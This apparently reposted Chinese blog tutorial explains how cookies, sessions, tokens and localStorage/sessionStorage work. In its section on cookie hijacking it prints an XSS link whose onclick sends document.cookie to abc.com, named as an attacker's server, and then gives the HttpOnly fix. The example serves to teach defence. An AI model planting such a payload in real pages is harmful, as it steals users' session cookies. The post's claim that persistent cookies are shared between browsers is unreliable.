zoukankan      html  css  js  c++  java
  • cookie、session、token、WebStorage了解

    一、cookie

      1、cookie是用户访问服务器,服务器返回给客户端的一个身份id,之后每次请求,cookie都会被携带在请求头中发送给服务器。【通俗讲就是第一次访问的时候,

      服务器生成一个锁芯(session)然后把开这个锁的钥匙(cookie)返回给客户端,之后用户每次访问服务器都会携带钥匙去开锁访问】

      2、cookie如果不设置过期时间,就是会话cookie,浏览器关闭就消失。否则就是持久cookie,在过期之前,cookie都是一直存在的,并且持久cookie可以被不同浏览器共享。

      3、前端可以通过

       document.cookie = "user=heihei";

       console.log(document.cookie);

      设置和获取cookie,可以设置过期时间,有大小限制,只能存储大约4kb。

      4、cookie的属性:

       a、 cookie的域,产生Cookie的服务器可以向set-Cookie响应首部添加一个Domain属性来控制哪些站点可以看到那个cookie,如:   

      Set-Cookie: name="heihei"; domain="m.zhuanzhuan.58.com"

       如果用户访问的是m.zhuanzhuan.58.com那就会发送cookie: name="heihei", 如果用户访问www.aaa.com(非zhuanzhuan.58.com)就不会发送这个Cookie。

       b、并且如果是子域设置了cookie,那么,子域可以访问主域的cookie,反之主域不能访问子域的cookie,中午就涉及到path属性

        例如:m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user/这两个url。 m.zhuanzhuan.58.com 设置cookie

       Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";

        m.zhaunzhuan.58.com/user/ 设置cookie:

       Set-cookie:user="wang", domain="m.zhuanzhuan.58.com"; path=/user/

        但是访问其他路径m.zhuanzhuan.58.com/other/就会获得

       cookie: id="123432"

        如果访问m.zhuanzhuan.58.com/user/就会获得

        cookie: id="123432"
        cookie: user="wang"

       c、secure

        设置了属性secure,cookie只有在https协议加密情况下才会发送给服务端。但是这并不是最安全的,由于其固有的不安全性,敏感信息也是不应该通过cookie传输的.

       Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;

       5、cookie劫持(跨站点脚本XSS)

        使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。

        例子:

       <a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>

        当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。

        攻击者同样可以拿cookie搞事情。

        解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

    二、session

       1、一种会话机制,用来记录客户信息,存储在服务端,无大小限制。

    三、token

          1、token的意思是“令牌”,是服务端生成的一串字符串,作为客户端进行请求的一个标识。

          2、当用户第一次登录后,服务器生成一个token并将此token返回给客户端,以后客户端只需带上这个token前来请求数据即可,无需再次带上用户名和密码。

          3、简单token的组成;uid(用户唯一的身份标识)、time(当前时间的时间戳)、sign(签名,token的前几位以哈希算法压缩成的一定长度的十六进制字符串。

          为防止token泄露)。

          客户端使用用户名和密码请求登录。服务端收到请求,验证用户名和密码。验证成功后,服务端会生成一个token,然后把这个token发送给客户端。

          客户端收到token后把它存储起来,可以放在cookie或者Local Storage(本地存储)里。客户端每次向服务端发送请求的时候都需要带上服务端发给的token。

          服务端收到请求,然后去验证客户端请求里面带着token,如果验证成功,就向客户端返回请求的数据。

    四、WebStorage

        WebStorage两个主要目标:(1)提供一种在cookie之外存储会话数据的路径。(2)提供一种存储大量可以跨会话存在的数据的机制。

        HTML5的WebStorage提供了两种API:localStorage(本地存储)和sessionStorage(会话存储)。

        1、生命周期:localStorage:localStorage的生命周期是永久的,关闭页面或浏览器之后localStorage中的数据也不会消失。

         localStorage除非主动删除数据,否则数据永远不会消失。

         sessionStorage的生命周期是在仅在当前会话下有效。sessionStorage是在同源的窗口中始终存在的数据。只要这个浏览器窗口没有关闭,

         即使刷新页面,数据依然存在。但是sessionStorage在关闭了浏览器窗口后就会被销毁。

         同时独立的打开同一个窗口同一个页面,sessionStorage也是不一样的。

          2、存储大小:localStorage和sessionStorage的存储数据大小一般都是:5MB

          3、存储位置:localStorage和sessionStorage都保存在客户端,不与服务器进行交互通信。

          4、存储内容类型:localStorage和sessionStorage只能存储字符串类型,对于复杂的对象可以使用ECMAScript提供的JSON对象的stringify和parse来处理

          5、获取方式:localStorage:window.localStorage;;sessionStorage:window.sessionStorage;。

          6、应用场景:localStoragese:常用于长期登录(+判断用户是否已登录),适合长期保存在本地的数据。sessionStorage:敏感账号一次性登录;

      

      

  • 相关阅读:
    WIN10安装python及numpy等第三方库以及卸载
    学习Python一年,基础忘记了,看看面试题回忆回议,Python面试题No3
    包含了 java环境,mysql,nginx,redis docker 镜像
    Docker的镜像制作与整套项目一键打包部署
    RedHat Enterprise Linux 5.8 升级openssl
    RedHat Enterprise Linux 5.8 升级openssl
    RedHat Enterprise Linux 5.8 升级openssl
    log4net进阶手札(二):基本用法
    log4net进阶手札(二):基本用法
    log4net进阶手札(二):基本用法
  • 原文地址:https://www.cnblogs.com/woniubushinide/p/11240188.html
Copyright © 2011-2022 走看看